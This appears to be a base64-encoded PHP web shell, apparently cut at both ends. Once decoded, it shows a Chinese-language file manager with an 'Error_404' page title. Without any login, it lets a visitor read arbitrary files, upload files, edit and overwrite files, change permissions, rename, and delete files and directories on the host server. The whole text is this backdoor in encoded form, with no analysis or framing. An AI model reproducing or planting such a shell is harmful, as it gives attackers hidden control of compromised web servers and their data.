0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS